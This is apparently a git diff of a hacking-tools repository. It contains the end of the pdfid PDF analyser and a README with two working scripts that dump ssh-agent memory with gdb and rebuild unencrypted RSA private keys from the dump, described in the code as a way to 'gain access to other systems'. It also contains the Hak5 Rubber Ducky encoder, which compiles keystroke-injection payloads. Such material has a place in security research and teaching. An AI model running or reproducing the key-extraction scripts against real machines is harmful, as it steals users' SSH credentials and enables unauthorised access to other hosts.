||||
|
||||
data = { 'countEof':countEof, 'countChatAfterLastEof':countChatAfterLastEof, 'totalEntropy':totalEntropy, 'streamEntropy':streamEntropy, 'nonStreamEntropy':nonStreamEntropy, 'errorOccured':errorOccured, 'errorMessage':errorMessage, 'filename':filename, 'header':header, 'isPdf':isPdf, 'version':version, 'entropy':entropy, 'keywords': { 'keyword': keywords }, 'dates': { 'date':dates} }
|
||||
complete = [ { 'pdfid' : data} ]
|
||||
result = json.dumps(complete)
|
||||
return result
|
||||
|
||||
def Main():
|
||||
oParser = optparse.OptionParser(usage='usage: %prog [options] [pdf-file|zip-file|url]\n' + __description__, version='%prog ' + __version__)
|
||||
oParser.add_option('-s', '--scan', action='store_true', default=False, help='scan the given directory')
|
||||
oParser.add_option('-a', '--all', action='store_true', default=False, help='display all the names')
|
||||
oParser.add_option('-e', '--extra', action='store_true', default=False, help='display extra data, like dates')
|
||||
oParser.add_option('-f', '--force', action='store_true', default=False, help='force the scan of the file, even without proper %PDF header')
|
||||
oParser.add_option('-d', '--disarm', action='store_true', default=False, help='disable JavaScript and auto launch')
|
||||
(options, args) = oParser.parse_args()
|
||||
|
||||
if len(args) == 0:
|
||||
if options.disarm:
|
||||
print('Option disarm not supported with stdin')
|
||||
options.disarm = False
|
||||
print(PDFiD2String(PDFiD('', options.all, options.extra, options.disarm, options.force), options.force))
|
||||
elif len(args) == 1:
|
||||
if options.scan:
|
||||
Scan(args[0], options.all, options.extra, options.disarm, options.force)
|
||||
else:
|
||||
print(PDFiD2String(PDFiD(args[0], options.all, options.extra, options.disarm, options.force), options.force))
|
||||
else:
|
||||
oParser.print_help()
|
||||
print('')
|
||||
print(' %s' % __description__)
|
||||
print(' Source code put in the public domain by Didier Stevens, no Copyright')
|
||||
print(' Use at your own risk')
|
||||
print(' https://DidierStevens.com')
|
||||
return
|
||||
|
||||
if __name__ == '__main__':
|
||||
Main()
|
0
Linux_Hacking/README.md
Normal file
0
Linux_Hacking/README.md
Normal file
|
@ -0,0 +1,38 @@
|
|||
Introduction
|
||||
============
|
||||
|
||||
SSH-agent is a tool designed to keep a SSH key in memory so that the user doesn't have to type their passphrase in every time.
|
||||
|
||||
A user running as root may have the ability to pull the decrypted SSH key from memory and reconstruct it (of course, an attacker may be able to install a keylogger and use that to obtain the passphrase for the SSH key. However, this causes the attacker to have to wait for the target to type in their passphrase).
|
||||
|
||||
|
||||
Using SSH-agent
|
||||
---------------
|
||||
|
||||
A common method of using SSH-agent is running "SSH-agent bash" and then "SSH-add" to add the key to the agent. Once added, the key will stay in the SSH-agent's stack until the process ends, another key is added, or the user uses the -d or -D option with SSH-add.
|
||||
|
||||
|
||||
Pulling a SSH Key From Memory
|
||||
-----------------------------
|
||||
|
||||
Gdb uses the ptrace call to attach to the SSH-agent. This provides gdb with the privileges necessary to create a memory dump of the running process.
|
||||
|
||||
The gdb_garb.sh script provides a way of automating the dumping of this memory. By default, when it runs it will create a memory dump of the stack for each SSH-agent process. These files are named SSHagent-PID.stack.
|
||||
|
||||
|
||||
|
||||
Parsing SSH Keys From the Memory Dump
|
||||
-------------------------------------
|
||||
|
||||
The key is kept in the stack in a different format then the one that was generated by SSH-keygen.
|
||||
|
||||
The script parse.py requires the installation of the pyasn1 python module. Once that is installed the script can be run against the memory file. If that memory file contains a valid RSA SSH key then it will save it to disk.
|
||||
|
||||
This key.rsa file can then be used as an argument to the -i switch in SSH. This will act like the original user's key, only without requiring a pass phrase to unlock it.
|
||||
|
||||
|
||||
|
||||
References:
|
||||
-----------
|
||||
|
||||
1. https://www.netspi.com/blog/entryid/235/stealing-unencrypted-ssh-agent-keys-from-memory
|
24
Linux_Hacking/getting_unencryp_ssh_keys_from_memory/gdb_garb.sh
Executable file
24
Linux_Hacking/getting_unencryp_ssh_keys_from_memory/gdb_garb.sh
Executable file
|
@ -0,0 +1,24 @@
|
|||
#!/bin/bash
|
||||
|
||||
# First argument is the output directory. Use /tmp if this is not specified.
|
||||
outputdir="/tmp"
|
||||
|
||||
# Grab pids for each ssh-agent
|
||||
sshagentpids=$(ps --no-headers -fC ssh-agent | awk '{print $2}')
|
||||
|
||||
# Iterate through the pids and create a memory dump of the stack for each
|
||||
for pid in $sshagentpids; do
|
||||
stackmem="$(grep stack /proc/$pid/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p')"
|
||||
startstack=$(echo $stackmem | awk '{print $1}')
|
||||
stopstack=$(echo $stackmem | awk '{print $2}')
|
||||
|
||||
gdb --batch -pid $pid -ex "dump memory $outputdir/sshagent-$pid.stack 0x$startstack 0x$stopstack" 2&>1 >/dev/null
|
||||
|
||||
# GDB doesn't error out properly if this fails.
|
||||
# This will provide feedback if the file is actually created
|
||||
if [ -f "$outputdir/sshagent-$pid.stack" ]; then
|
||||
echo "Created $outputdir/sshagent-$pid.stack"
|
||||
else
|
||||
echo "Error dumping memory from $pid"
|
||||
fi
|
||||
done
|
186
Linux_Hacking/getting_unencryp_ssh_keys_from_memory/parse.py
Executable file
186
Linux_Hacking/getting_unencryp_ssh_keys_from_memory/parse.py
Executable file
|
@ -0,0 +1,186 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import sys
|
||||
import base64
|
||||
from pyasn1.type import univ
|
||||
from pyasn1.codec.der import encoder
|
||||
|
||||
|
||||
class sshkeyparse:
|
||||
""" This class is designed to parse a memory dump of ssh-agent and create
|
||||
unencrypted ssh keys that can then be used to gain access to other
|
||||
systems"""
|
||||
keytypes = {
|
||||
'rsa': "ssh-rsa",
|
||||
'dsa': "ssh-dss",
|
||||
'ecsda': "ecdsa-sha2-nisp256",
|
||||
'ed25519': "ssh-ed25519"
|
||||
}
|
||||
|
||||
def read(self, memdump):
|
||||
""" Reads a file and stories it in self.mem"""
|
||||
self.inputfile = memdump
|
||||
file = open(memdump, 'rb')
|
||||
self.mem = "".join(file.readlines())
|
||||
file.close()
|
||||
|
||||
def unpack_bigint(self, buf):
|
||||
"""Turn binary chunk into integer"""
|
||||
|
||||
v = 0
|
||||
for c in buf:
|
||||
v *= 256
|
||||
v += ord(c)
|
||||
|
||||
return v
|
||||
|
||||
def search_key(self):
|
||||
"""Searches for keys in self.mem"""
|
||||
|
||||
keysfound = {}
|
||||
|
||||
for type in self.keytypes:
|
||||
magic = self.mem.find(self.keytypes[type])
|
||||
|
||||
if magic is not -1:
|
||||
keysfound[magic] = type
|
||||
|
||||
if keysfound:
|
||||
print ("Found %s key" % keysfound[sorted(keysfound)[0]])
|
||||
self.mem = self.mem[sorted(keysfound)[0]:]
|
||||
self.type = keysfound[sorted(keysfound)[0]]
|
||||
return 1
|
||||
|
||||
if not keysfound:
|
||||
return -1
|
||||
|
||||
def getkeys(self, output):
|
||||
""" Parses for keys stored in ssh-agent's stack """
|
||||
|
||||
keynum = 0
|
||||
validkey = 0
|
||||
|
||||
validkey = self.search_key()
|
||||
while validkey != -1:
|
||||
|
||||
if keynum == 0:
|
||||
keynum += 1
|
||||
self.create_key(output)
|
||||
|
||||
else:
|
||||
keynum += 1
|
||||
self.create_key((output + "." + str(keynum)))
|
||||
|
||||
validkey = self.search_key()
|
||||
|
||||
if keynum == 0:
|
||||
# Did not find a valid key type
|
||||
print ("A saved key was not found in %s" % self.inputfile)
|
||||
print ("The user may not have loaded a key or the key loaded is " +
|
||||
"not supported.")
|
||||
sys.exit(1)
|
||||
else:
|
||||
return
|
||||
|
||||
# Detect type of key and run key creation
|
||||
def create_key(self, output):
|
||||
"""Creates key files"""
|
||||
|
||||
output = output + "." + self.type
|
||||
|
||||
if self.type is "rsa":
|
||||
self.create_rsa(output)
|
||||
print ("Creating %s key: %s" % (self.type, output))
|
||||
if self.type is "dsa":
|
||||
self.create_dsa(output)
|
||||
print ("Creating %s key: %s" % (self.type, output))
|
||||
else:
|
||||
print ("%s key type is not currently supported." % self.type)
|
||||
sys.exit(3)
|
||||
|
||||
def create_dsa(self, output):
|
||||
"""Create DSA SSH key file"""
|
||||
if self.mem[0:7] == "ssh-dss":
|
||||
print ("DSA SSH Keys are not currently supported.")
|
||||
self.mem = self.mem[start+size:]
|
||||
|
||||
else:
|
||||
print ("Error: This is not a DSA SSH key file")
|
||||
sys.exit(2)
|
||||
|
||||
def create_rsa(self, output):
|
||||
"""Create RSA SSH key file"""
|
||||
if self.mem[0:7] == "ssh-rsa":
|
||||
|
||||
# FIXME: This needs to be cleaned up.
|
||||
start = 10
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
n = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
start = start + size + 2
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
e = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
start = start + size + 2
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
d = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
start = start + size + 2
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
c = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
start = start + size + 2
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
p = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
start = start + size + 2
|
||||
size = self.unpack_bigint(self.mem[start:(start+2)])
|
||||
start += 2
|
||||
q = self.unpack_bigint(self.mem[start:(start+size)])
|
||||
|
||||
e1 = d % (p - 1)
|
||||
e2 = d % (q - 1)
|
||||
|
||||
self.mem = self.mem[start+size:]
|
||||
|
||||
else:
|
||||
print ("Error: This is not a RSA SSH key file")
|
||||
sys.exit(2)
|
||||
|
||||
seq = (
|
||||
univ.Integer(0),
|
||||
univ.Integer(n),
|
||||
univ.Integer(e),
|
||||
univ.Integer(d),
|
||||
univ.Integer(p),
|
||||
univ.Integer(q),
|
||||
univ.Integer(e1),
|
||||
univ.Integer(e2),
|
||||
univ.Integer(c),
|
||||
)
|
||||
|
||||
struct = univ.Sequence()
|
||||
|
||||
for i in xrange(len(seq)):
|
||||
struct.setComponentByPosition(i, seq[i])
|
||||
|
||||
raw = encoder.encode(struct)
|
||||
data = base64.b64encode(raw)
|
||||
|
||||
# chop data up into lines of certain width
|
||||
width = 64
|
||||
chopped = [data[i:i + width] for i in xrange(0, len(data), width)]
|
||||
# assemble file content
|
||||
content = """-----BEGIN RSA PRIVATE KEY-----
|
||||
%s
|
||||
-----END RSA PRIVATE KEY-----
|
||||
""" % '\n'.join(chopped)
|
||||
output = open(output, 'w')
|
||||
output.write(content)
|
||||
output.close()
|
||||
|
||||
# MAIN
|
||||
|
||||
keystart = sshkeyparse()
|
||||
keystart.read(sys.argv[1])
|
||||
keystart.getkeys(sys.argv[2])
|
2
Memory_Exploits/Integer_Overflows/integer_overflows.md
Normal file
2
Memory_Exploits/Integer_Overflows/integer_overflows.md
Normal file
|
@ -0,0 +1,2 @@
|
|||
# Integer Overflows
|
||||
|
Binary file not shown.
6
Rubber_Duck/HAK/Encoder/.classpath
Normal file
6
Rubber_Duck/HAK/Encoder/.classpath
Normal file
|
@ -0,0 +1,6 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<classpath>
|
||||
<classpathentry kind="src" path="src"/>
|
||||
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.6"/>
|
||||
<classpathentry kind="output" path="bin"/>
|
||||
</classpath>
|
17
Rubber_Duck/HAK/Encoder/.project
Normal file
17
Rubber_Duck/HAK/Encoder/.project
Normal file
|
@ -0,0 +1,17 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<projectDescription>
|
||||
<name>Hak5_Duck_Encoder</name>
|
||||
<comment></comment>
|
||||
<projects>
|
||||
</projects>
|
||||
<buildSpec>
|
||||
<buildCommand>
|
||||
<name>org.eclipse.jdt.core.javabuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
</buildSpec>
|
||||
<natures>
|
||||
<nature>org.eclipse.jdt.core.javanature</nature>
|
||||
</natures>
|
||||
</projectDescription>
|
12
Rubber_Duck/HAK/Encoder/.settings/org.eclipse.jdt.core.prefs
Normal file
12
Rubber_Duck/HAK/Encoder/.settings/org.eclipse.jdt.core.prefs
Normal file
|
@ -0,0 +1,12 @@
|
|||
#Sun Aug 07 16:02:51 PDT 2011
|
||||
eclipse.preferences.version=1
|
||||
org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
|
||||
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6
|
||||
org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
|
||||
org.eclipse.jdt.core.compiler.compliance=1.6
|
||||
org.eclipse.jdt.core.compiler.debug.lineNumber=generate
|
||||
org.eclipse.jdt.core.compiler.debug.localVariable=generate
|
||||
org.eclipse.jdt.core.compiler.debug.sourceFile=generate
|
||||
org.eclipse.jdt.core.compiler.problem.assertIdentifier=error
|
||||
org.eclipse.jdt.core.compiler.problem.enumIdentifier=error
|
||||
org.eclipse.jdt.core.compiler.source=1.6
|
530
Rubber_Duck/HAK/Encoder/src/Encoder.java
Normal file
530
Rubber_Duck/HAK/Encoder/src/Encoder.java
Normal file
|
@ -0,0 +1,530 @@
|
|||
// File: Encoder.java
|
||||
// Created: 8/10/2011
|
||||
// Author: Jason Appelbaum Jason@Hak5.org
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
import javax.swing.text.BadLocationException;
|
||||
import javax.swing.text.Document;
|
||||
import javax.swing.text.rtf.RTFEditorKit;
|
||||
|
||||
public class Encoder {
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
String helpStr = "Hak5 Duck Encoder 1.2\n\n"
|
||||
+ "usage: duckencode -i [file ..]\t\t\tencode specified file\n"
|
||||
+ " or: duckencode -i [file ..] -o [file ..]\tencode to specified file\n"
|
||||
+ "\nArguments:\n"
|
||||
+ " -i [file ..] \t\tInput File\n"
|
||||
+ " -o [file ..] \t\tOutput File\n"
|
||||
+ "\nScript Commands:\n"
|
||||
+ " ALT [END | (ESCAPE | ESC) | F1...F12 | Single Char | SPACE | TAB]\n"
|
||||
+ " BREAK | PAUSE\n"
|
||||
+ " CAPSLOCK\n"
|
||||
+ " CONTROL | CTRL [(BREAK | PAUSE) | F1...F12 | (ESCAPE | ESC) | Single Char]\n"
|
||||
+ " DEFAULT_DELAY | DEFAULTDELAY [Time in millisecond * 10]\n"
|
||||
+ " DELAY [Time in millisecond * 10]\n"
|
||||
+ " DELETE\n"
|
||||
+ " DOWNARROW | DOWN\n"
|
||||
+ " END\n"
|
||||
+ " ESCAPE | ESC\n"
|
||||
+ " F1...F12\n"
|
||||
+ " HOME\n"
|
||||
+ " INSERT\n"
|
||||
+ " LEFTARROW | LEFT\n"
|
||||
+ " MENU | APP\n"
|
||||
+ " NUMLOCK\n"
|
||||
+ " PAGEDOWN\n"
|
||||
+ " PAGEUP\n"
|
||||
+ " PRINTSCREEN\n"
|
||||
+ " REM\n"
|
||||
+ " RIGHTARROW | RIGHT\n"
|
||||
+ " SCROLLLOCK\n"
|
||||
+ " SHIFT [ DELETE | HOME | INSERT | PAGEUP | PAGEDOWN | (WINDOWS | GUI)\n"
|
||||
+ " | (UPARROW | DOWNARROW |LEFTARROW | RIGHTARROW) | TAB]\n"
|
||||
+ " SPACE\n"
|
||||
+ " STRING [a...z A...Z 0..9 !...) `~ += _- \"\' :; <, >. ?/ \\|]\n"
|
||||
+ " TAB\n" + " UPARROW | UP\n" + " WINDOWS | GUI\n";
|
||||
|
||||
String inputFile = null;
|
||||
String outputFile = null;
|
||||
|
||||
if (args.length == 0) {
|
||||
System.out.println(helpStr);
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
if (args[i].equals("--gui") || args[i].equals("-g")) {
|
||||
System.out.println("Launch GUI");
|
||||
} else if (args[i].equals("--help") || args[i].equals("-h")) {
|
||||
System.out.println(helpStr);
|
||||
} else if (args[i].equals("-i")) {
|
||||
// encode file
|
||||
inputFile = args[++i];
|
||||
} else if (args[i].equals("-o")) {
|
||||
// output file
|
||||
outputFile = args[++i];
|
||||
} else {
|
||||
System.out.println(helpStr);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (inputFile != null) {
|
||||
String scriptStr = null;
|
||||
|
||||
if (inputFile.contains(".rtf")) {
|
||||
try {
|
||||
FileInputStream stream = new FileInputStream(inputFile);
|
||||
RTFEditorKit kit = new RTFEditorKit();
|
||||
Document doc = kit.createDefaultDocument();
|
||||
kit.read(stream, doc, 0);
|
||||
|
||||
scriptStr = doc.getText(0, doc.getLength());
|
||||
} catch (IOException e) {
|
||||
System.out.println("Error with input file!");
|
||||
} catch (BadLocationException e) {
|
||||
System.out.println("Error with input file!");
|
||||
}
|
||||
} else {
|
||||
DataInputStream in = null;
|
||||
try {
|
||||
File f = new File(inputFile);
|
||||
byte[] buffer = new byte[(int) f.length()];
|
||||
in = new DataInputStream(new FileInputStream(f));
|
||||
in.readFully(buffer);
|
||||
scriptStr = new String(buffer);
|
||||
|
||||
} catch (IOException e) {
|
||||
System.out.println("Error with input file!");
|
||||
} finally {
|
||||
try {
|
||||
in.close();
|
||||
} catch (IOException e) { /* ignore it */
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
encodeToFile(scriptStr, (outputFile == null) ? "inject.bin"
|
||||
: outputFile);
|
||||
}
|
||||
}
|
||||
|
||||
private static void encodeToFile(String inStr, String fileDest) {
|
||||
inStr = inStr.replaceAll("\\r", ""); // CRLF Fix
|
||||
String[] instructions = inStr.split("\n");
|
||||
List<Byte> file = new ArrayList<Byte>();
|
||||
int defaultDelay = 0;
|
||||
|
||||
for (int i = 0; i < instructions.length; i++) {
|
||||
try {
|
||||
boolean delayOverride = false;
|
||||
String commentCheck = instructions[i].substring(0, 2);
|
||||
if (commentCheck.equals("//"))
|
||||
continue;
|
||||
|
||||
String instruction[] = instructions[i].split(" ", 2);
|
||||
|
||||
instruction[0].trim();
|
||||
|
||||
if (instruction.length == 2) {
|
||||
instruction[1].trim();
|
||||
}
|
||||
|
||||
if (instruction[0].equals("DEFAULT_DELAY")
|
||||
|| instruction[0].equals("DEFAULTDELAY")) {
|
||||
defaultDelay = (byte) Integer.parseInt(instruction[1]
|
||||
.trim());
|
||||
} else if (instruction[0].equals("DELAY")) {
|
||||
int delay = Integer.parseInt(instruction[1].trim());
|
||||
while (delay > 0) {
|
||||
file.add((byte) 0x00);
|
||||
if (delay > 255) {
|
||||
file.add((byte) 0xFF);
|
||||
delay = delay - 255;
|
||||
} else {
|
||||
file.add((byte) delay);
|
||||
delay = 0;
|
||||
}
|
||||
}
|
||||
delayOverride = true;
|
||||
} else if (instruction[0].equals("STRING")) {
|
||||
for (int j = 0; j < instruction[1].length(); j++) {
|
||||
char c = instruction[1].charAt(j);
|
||||
file.add(charToByte(c));
|
||||
|
||||
// Auto shift
|
||||
byte shiftByte = 0x00;
|
||||
if ((int) c >= 65 && (int) c <= 90) {
|
||||
// switch capital letters
|
||||
shiftByte = 0x02;
|
||||
} else {
|
||||
switch (c) {
|
||||
case '~':
|
||||
case '!':
|
||||
case '@':
|
||||
case '#':
|
||||
case '$':
|
||||
case '%':
|
||||
case '^':
|
||||
case '&':
|
||||
case '*':
|
||||
case '(':
|
||||
case ')':
|
||||
case '_':
|
||||
case '+':
|
||||
case '}':
|
||||
case '{':
|
||||
case '|':
|
||||
case '"':
|
||||
case ':':
|
||||
case '?':
|
||||
case '>':
|
||||
case '<':
|
||||
// shift
|
||||
shiftByte = 0x02;
|
||||
break;
|
||||
}
|
||||
}
|
||||
file.add(shiftByte);
|
||||
}
|
||||
} else if (instruction[0].equals("CONTROL")
|
||||
|| instruction[0].equals("CTRL")) {
|
||||
if (instruction[1].equals("ESCAPE")
|
||||
|| instruction[1].equals("ESC"))
|
||||
file.add((byte) 0x29);
|
||||
else if (instruction[1].equals("PAUSE")
|
||||
|| instruction[1].equals("BREAK"))
|
||||
file.add((byte) 0x48);
|
||||
else if (instruction.length != 1)
|
||||
if (functionKeyCheck(instruction[1]))
|
||||
file.add(functionKeyToByte(instruction[1]));
|
||||
else
|
||||
file.add(charToByte(instruction[1].charAt(0)));
|
||||
else
|
||||
file.add((byte) 0x00);
|
||||
file.add((byte) 0x01);
|
||||
} else if (instruction[0].equals("ALT")) {
|
||||
if (instruction.length != 1) {
|
||||
if (instruction[1].equals("ESCAPE")
|
||||
|| instruction[1].equals("ESC"))
|
||||
file.add((byte) 0x29);
|
||||
else if (instruction[1].equals("SPACE"))
|
||||
file.add((byte) 0x2C);
|
||||
else if (instruction[1].equals("TAB"))
|
||||
file.add((byte) 0x2B);
|
||||
else if (instruction.length != 1)
|
||||
if (functionKeyCheck(instruction[1]))
|
||||
file.add(functionKeyToByte(instruction[1]));
|
||||
else
|
||||
file.add(charToByte(instruction[1].charAt(0)));
|
||||
else
|
||||
file.add((byte) 0x00);
|
||||
} else {
|
||||
file.add((byte) 0x00);
|
||||
}
|
||||
file.add((byte) 0xE2);
|
||||
|
||||
} else if (instruction[0].equals("ENTER")) {
|
||||
file.add((byte) 0x28);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("SHIFT")) {
|
||||
if (instruction.length != 1) {
|
||||
if (instruction[1].equals("HOME")) {
|
||||
file.add((byte) 0x4A);
|
||||
} else if (instruction[1].equals("TAB")) {
|
||||
file.add((byte) 0x2B);
|
||||
} else if (instruction[1].equals("WINDOWS")
|
||||
|| instruction[1].equals("GUI")) {
|
||||
file.add((byte) 0xE3);
|
||||
} else if (instruction[1].equals("INSERT")) {
|
||||
file.add((byte) 0x49);
|
||||
} else if (instruction[1].equals("PAGEUP")) {
|
||||
file.add((byte) 0x4B);
|
||||
} else if (instruction[1].equals("PAGEDOWN")) {
|
||||
file.add((byte) 0x4E);
|
||||
} else if (instruction[1].equals("DELETE")) {
|
||||
file.add((byte) 0x4C);
|
||||
} else if (instruction[1].equals("END")) {
|
||||
file.add((byte) 0x4D);
|
||||
} else if (instruction[1].equals("UPARROW")) {
|
||||
file.add((byte) 0x52);
|
||||
} else if (instruction[1].equals("DOWNARROW")) {
|
||||
file.add((byte) 0x51);
|
||||
} else if (instruction[1].equals("LEFTARROW")) {
|
||||
file.add((byte) 0x50);
|
||||
} else if (instruction[1].equals("RIGHTARROW")) {
|
||||
file.add((byte) 0x4F);
|
||||
}
|
||||
file.add((byte) 0xE1);
|
||||
} else {
|
||||
file.add((byte) 0xE1);
|
||||
file.add((byte) 0x00);
|
||||
}
|
||||
} else if (instruction[0].equals("REM")) {
|
||||
continue;
|
||||
} else if (instruction[0].equals("MENU")
|
||||
|| instruction[0].equals("APP")) {
|
||||
file.add((byte) 0x65);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("TAB")) {
|
||||
file.add((byte) 0x2B);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("SPACE")) {
|
||||
file.add((byte) 0x2C);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("WINDOWS")
|
||||
|| instruction[0].equals("GUI")) {
|
||||
if (instruction.length == 1) {
|
||||
file.add((byte) 0xE3);
|
||||
file.add((byte) 0x00);
|
||||
} else {
|
||||
file.add(charToByte(instruction[1].charAt(0)));
|
||||
file.add((byte) 0x08);
|
||||
}
|
||||
} else if (instruction[0].equals("SYSTEMPOWER")) {
|
||||
file.add((byte) 0x81);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("SYSTEMSLEEP")) {
|
||||
file.add((byte) 0x82);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("SYSTEMWAKE")) {
|
||||
file.add((byte) 0x83);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("ESCAPE")
|
||||
|| instruction[0].equals("ESC")) {
|
||||
file.add((byte) 0x29);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("CAPSLOCK")) {
|
||||
file.add((byte) 0x39);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("PRINTSCREEN")) {
|
||||
file.add((byte) 0x46);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("SCROLLLOCK")) {
|
||||
file.add((byte) 0x47);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("BREAK")
|
||||
|| instruction[0].equals("PAUSE")) {
|
||||
file.add((byte) 0x48);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("INSERT")) {
|
||||
file.add((byte) 0x49);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("HOME")) {
|
||||
file.add((byte) 0x4A);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("END")) {
|
||||
file.add((byte) 0x4D);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("PAGEUP")) {
|
||||
file.add((byte) 0x4B);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("DELETE")) {
|
||||
file.add((byte) 0x4C);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("PAGEDOWN")) {
|
||||
file.add((byte) 0x4E);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("RIGHTARROW")
|
||||
|| instruction[0].equals("RIGHT")) {
|
||||
file.add((byte) 0x4F);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("LEFTARROW")
|
||||
|| instruction[0].equals("LEFT")) {
|
||||
file.add((byte) 0x50);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("DOWNARROW")
|
||||
|| instruction[0].equals("DOWN")) {
|
||||
file.add((byte) 0x51);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("UPARROW")
|
||||
|| instruction[0].equals("UP")) {
|
||||
file.add((byte) 0x52);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("NUMLOCK")) {
|
||||
file.add((byte) 0x53);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("STOP")) {
|
||||
file.add((byte) 0xb5);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("PLAY")
|
||||
|| instruction[0].equals("PAUSE")) {
|
||||
file.add((byte) 0xCD);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("MUTE")) {
|
||||
file.add((byte) 0xE2);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("VOLUMEUP")) {
|
||||
file.add((byte) 0xE9);
|
||||
file.add((byte) 0x00);
|
||||
} else if (instruction[0].equals("VOLUMEDOWN")) {
|
||||
file.add((byte) 0xEA);
|
||||
file.add((byte) 0x00);
|
||||
} else if (functionKeyCheck(instruction[0])) {
|
||||
// Function keys
|
||||
file.add(functionKeyToByte(instruction[0]));
|
||||
file.add((byte) 0x00);
|
||||
} else {
|
||||
// System.out.print(instruction[0]);
|
||||
throw new Exception();
|
||||
}
|
||||
|
||||
// Default delay
|
||||
if (!delayOverride & defaultDelay != 0x00) {
|
||||
while (defaultDelay > 0) {
|
||||
file.add((byte) 0x00);
|
||||
if (defaultDelay > 255) {
|
||||
file.add((byte) 0xFF);
|
||||
defaultDelay = defaultDelay - 255;
|
||||
} else {
|
||||
file.add((byte) defaultDelay);
|
||||
defaultDelay = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
System.out.println("Error on Line: " + (i + 1));
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
// Write byte array to file
|
||||
byte[] data = new byte[file.size()];
|
||||
for (int i = 0; i < file.size(); i++) {
|
||||
data[i] = file.get(i);
|
||||
}
|
||||
try {
|
||||
File someFile = new File(fileDest);
|
||||
FileOutputStream fos = new FileOutputStream(someFile);
|
||||
fos.write(data);
|
||||
fos.flush();
|
||||
fos.close();
|
||||
} catch (Exception e) {
|
||||
System.out.print("Failed to write hex file!");
|
||||
}
|
||||
}
|
||||
|
||||
private static byte charToByte(char c) {
|
||||
// System.out.println(c);
|
||||
if ((int) c >= 97 && (int) c <= 122)
|
||||
// lower case letters
|
||||
return (byte) (c - 0x5D);
|
||||
else if ((int) c >= 65 && (int) c <= 90)
|
||||
// upper case letters
|
||||
return (byte) (c - 0x3D);
|
||||
else if ((int) c >= 49 && (int) c <= 57)
|
||||
// 0 to 9
|
||||
return (byte) (c - 0x13);
|
||||
else
|
||||
switch (c) {
|
||||
case ' ':
|
||||
return 0x2C;
|
||||
case '!':
|
||||
return 0x1e;
|
||||
case '@':
|
||||
return 0x1f;
|
||||
case '#':
|
||||
return 0x20;
|
||||
case '$':
|
||||
return 0x21;
|
||||
case '%':
|
||||
return 0x22;
|
||||
case '^':
|
||||
return 0x23;
|
||||
case '&':
|
||||
return 0x24;
|
||||
case '*':
|
||||
return 0x25;
|
||||
case '(':
|
||||
return 0x26;
|
||||
case ')':
|
||||
case '0':
|
||||
return 0x27;
|
||||
case '-':
|
||||
case '_':
|
||||
return 0x2D;
|
||||
case '=':
|
||||
case '+':
|
||||
return 0x2E;
|
||||
case '[':
|
||||
case '{':
|
||||
return 0x2F;
|
||||
case ']':
|
||||
case '}':
|
||||
return 0x30;
|
||||
case '\\':
|
||||
case '|':
|
||||
return 0x31;
|
||||
case ':':
|
||||
case ';':
|
||||
return 0x33;
|
